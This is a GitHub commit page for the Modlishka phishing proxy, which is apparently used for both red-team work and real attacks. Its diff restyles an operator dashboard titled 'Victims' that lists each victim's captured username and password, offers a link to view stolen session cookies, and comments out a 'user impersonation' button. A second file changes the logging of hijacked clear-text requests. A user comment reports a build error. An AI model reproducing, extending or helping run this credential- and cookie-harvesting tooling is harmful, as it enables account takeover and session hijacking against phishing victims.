Skip to content

Commit

Permalink
Small updates
Browse files Browse the repository at this point in the history
  • Loading branch information
drk1wi committed Jul 6, 2019
1 parent a0c77f8 commit f0ffa87
Show file tree
Hide file tree
Showing 2 changed files with 19 additions and 15 deletions.
30 changes: 17 additions & 13 deletions plugin/control.go
Expand Up @@ -90,55 +90,59 @@ function clearcookies(){
<body>
<div class="container">
<h1>Victims</h1>
<div class="row">
<div class="col-md-4 text-center">
<h2>Clicks</h2>
<p style="font-size: 2em;">{{len .Victims}}</p>
<h4>Clicks</h4>
<p style="font-weight:bold;font-size: 1em;">{{len .Victims}}</p>
</div>
<div class="col-md-4 text-center">
<h2>Logins</h2>
<p style="font-size: 2em;">{{.CredsCount}} ({{printf "%.1f" .CredsPercent}}%)</p>
<h4>Logins</h4>
<p style="font-weight:bold;font-size: 1em;">{{.CredsCount}} ({{printf "%.1f" .CredsPercent}}%)</p>
</div>
<div class="col-md-4 text-center">
<h2>Terminations</h2>
<p style="font-size: 2em;">{{.TermCount}} ({{printf "%.1f" .TermPercent}}%)</p>
<h4>Terminations</h4>
<p style="font-weight:bold;font-size: 1em;">{{.TermCount}} ({{printf "%.1f" .TermPercent}}%)</p>
</div>
</div>
<hr>
<div class="row">
<table class="table table-dark">
<thead class="thead-dark">
<tr>
<th class="text-center">UUID</th>
<th class="text-center">Username</th>
<th class="text-center">Password</th>
<th class="text-center">Terminated</th>
<th class="text-center">Session</th>
<th class="text-center">Cookies</th>
</tr>
</thead>
<tbody>
{{range .Victims}}
<tr>
<td>{{.UUID}}</td>
<td>{{.Username}}</td>
<td>{{.Password}}</td>
<td class="text-center">{{.UUID}}</td>
<td class="text-center">{{.Username}}</td>
<td class="text-center">{{.Password}}</td>
<td class="text-center">
{{if .Terminated}}
<span style="color: green; font-weight: bold;">Y</span>
{{else}}
<span style="color: red; font-weight: bold;">N</span>
{{end}}
</td>
<td><a onclick="clearcookies();" href="/{{$.URL}}/ImpersonateFrames?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-warning">Impersonate user (beta)</a>
<td><a href="/{{$.URL}}/Cookies?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-info">View Cookies</a>
{{/* This requires additional coding ... <td><a onclick="clearcookies();" href="/{{$.URL}}/ImpersonateFrames?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-warning">Impersonate user (beta)</a> */}}
<td class="text-center"><a href="/{{$.URL}}/Cookies?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-info">View Cookies</a>
</td>
</tr>
{{end}}
</tbody>
</table>
</div>
</div>
</body>
</html>
Expand Down
4 changes: 2 additions & 2 deletions plugin/hijack.go
Expand Up @@ -47,9 +47,9 @@ func init() {
}


if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) && context.IsTLS == false {
if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == false {

log.Warningf("Hijack plugin: Hijacked clear-text [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
log.Warningf("Hijack plugin: Clear-text [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == true {
Expand Down

1 comment on commit f0ffa87

@lerrykayy
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

go test -v main.go main_test.go

github.com/drk1wi/Modlishka/plugin

plugin/control.go:263:11: undefined: http.SameSite
FAIL command-line-arguments [build failed]
Makefile:23: recipe for target 'test' failed
make: *** [test] Error 2

please sir can u explain how to fix this error ??

Please sign in to comment.